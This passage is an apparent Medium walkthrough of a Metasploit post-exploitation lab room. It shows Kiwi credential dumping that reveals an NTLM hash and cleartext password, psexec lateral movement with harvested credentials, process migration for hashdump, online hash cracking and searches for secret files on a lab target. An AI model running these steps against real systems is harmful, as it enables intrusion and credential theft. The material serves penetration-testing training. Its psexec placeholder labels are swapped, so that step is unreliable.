Retrieving all credentials<br>msv credentials<br>===============<br>Username   Domain     NTLM                              SHA1<br>--------   ------     ----                               ----<br>ballen     STRATFORD  e02bc503339d51f71d913c245d35b50b   a]4f2d7b24e0f1c7...<br>wdigest credentials<br>===================<br>Username   Domain     Password<br>--------   ------     --------<br>ballen     STRATFORD  Password1<br>[...]</pre><p>Notice that creds_all retrieved the <strong>cleartext password</strong> for the ballen account through WDigest credentials. On older Windows systems (pre-Windows 8.1/Server 2012 R2 without KB2871997), WDigest stores plaintext passwords in memory by default. This is a critical finding in any engagement.</p><p>Other useful Kiwi commands include lsa_dump_sam (dumps the SAM database, similar to hashdump), lsa_dump_secrets (dumps LSA secrets), and golden_ticket_create (for Kerberos attacks in Active Directory environments, covered in the AD module).</p><blockquote><strong><em>Note</em></strong><em>: </em><em>load kiwi replaced the older </em><em>load mimikatz command. If you type </em><em>load mimikatz, Metasploit automatically loads Kiwi instead.</em></blockquote><h4>Loading Python</h4><p>For more flexible scripting on the target, you can load the Python extension:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; load python<br>Loading extension python...Success.<br>meterpreter &gt; python_execute &quot;import os; print(os.environ[&#39;COMPUTERNAME&#39;])&quot;<br>[+] Content written to stdout:<br>STRATFORD-WS01</pre><p>This gives you a full Python interpreter inside the Meterpreter session, useful for running custom scripts, parsing data, or automating repetitive tasks without uploading standalone tools.</p><h4>Running Post-Exploitation Modules</h4><p>Beyond built-in commands and extensions, Metasploit has a full library of <strong>post-exploitation modules</strong> (the post/ category from Room 1). These modules run <em>through</em> an existing session, using the SESSION parameter to specify which session to operate on.</p><p>The workflow is:</p><ol><li>Background your Meterpreter session</li><li>Load the post module with use</li><li>Set the SESSION parameter to your session ID</li><li>Run the module</li></ol><p>Consider an example. You want to enumerate the domain that STRATFORD-WS01 is a member of:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; background<br>[*] Backgrounding session 1...<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; use post/windows/gather/enum_domain<br>msf6 post(windows/gather/enum_domain) &gt; set SESSION 1<br>SESSION =&gt; 1<br>msf6 post(windows/gather/enum_domain) &gt; run<br>[+] FOUND Domain: STRATFORD<br>[+] FOUND Domain Controller: STRATFORD-DC (IP: 10.10.14.55)<br>[*] Post module execution completed<br>msf6 post(windows/gather/enum_domain) &gt;</pre><p>The module used session 1 (our Meterpreter session on STRATFORD-WS01) to query the domain and discovered the domain controller. This pattern, background → use post module → set SESSION → run, is how you extend Meterpreter’s capabilities with Metasploit’s entire post-exploitation library.</p><p>Other commonly used post modules include:</p><ul><li>post/windows/gather/enum_shares — Lists network shares</li><li>post/windows/gather/enum_applications — Lists installed applications</li><li>post/multi/gather/env — Dumps environment variables</li><li>post/multi/manage/shell_to_meterpreter — Upgrades a basic shell session to Meterpreter</li></ul><p>You can search for post modules with search type:post &lt;keyword&gt; from the msfconsole prompt.</p><h4>Answer the questions below</h4><p>You are running as a local administrator but need SYSTEM privileges. What Meterpreter command attempts automatic privilege escalation?</p><blockquote>getsystem</blockquote><p>What Meterpreter command extracts local user password hashes from the SAM database?</p><blockquote>hashdump</blockquote><h3>Explotation</h3><p>first</p><pre>msf6 &gt; use exploit/windows/smb/psexec<br>msf6 exploit(windows/smb/psexec) &gt; set RHOSTS &lt; your Attackbox IP &gt;<br>RHOSTS =&gt; 10.82.149.229<br>msf6 exploit(windows/smb/psexec) &gt; set SMBUser ballen<br>SMBUser =&gt; ballen<br>msf6 exploit(windows/smb/psexec) &gt; set SMBPass Password1<br>SMBPass =&gt; Password1<br>msf6 exploit(windows/smb/psexec) &gt; set LHOST &lt; Target IP &gt;<br>LHOST =&gt; ATTACKER_IP<br>msf6 exploit(windows/smb/psexec) &gt; exploit</pre><h4>What is the computer name?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*EOj4HqrdRuj_JbqFE2SZsQ.png" /></figure><blockquote>STRATFORD-WS01</blockquote><h4>What is the name of the share likely created by the user?</h4><p>first lets back to background</p><pre>background</pre><p>next use exploit below</p><pre>post/windows/gather/enum_shares</pre><p>set session 1 and run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*eIFuOW6BlerPnyp1h62prg.png" /></figure><blockquote>PROJECTS</blockquote><h4>What is the NTLM hash of the <strong>jchambers</strong> user?</h4><p>if you try hash dump it fail so lets migrarte use ps</p><pre>ps</pre><p>and find the program that started on 64x and migrate</p><p>and now you can use hashdump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j6kRP1wr91FNKPE-rLJ0Tg.png" /></figure><h4>What is the cleartext password of the <strong>jchambers</strong> user?</h4><p>now just put your hash on Crackstation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9TtagHRG90O2_-cuTjmFQQ.png" /></figure><h4>Where is the <strong>secrets.txt</strong> file located? (Full path)</h4><p>just use the command below</p><pre>search -f secrets.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACpXh1QGbOHRVEWYr3nnEA.png" /></figure><p>and just open it with cat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HojRy3d6g089ildqo1wK4A.png" /></figure><h4>Where is the <strong>realsecret.txt</strong> file located? (Full path)</h4><p>just to the same</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*jWRIHhESgYy81u1mNbGGBw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=241111baf28a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>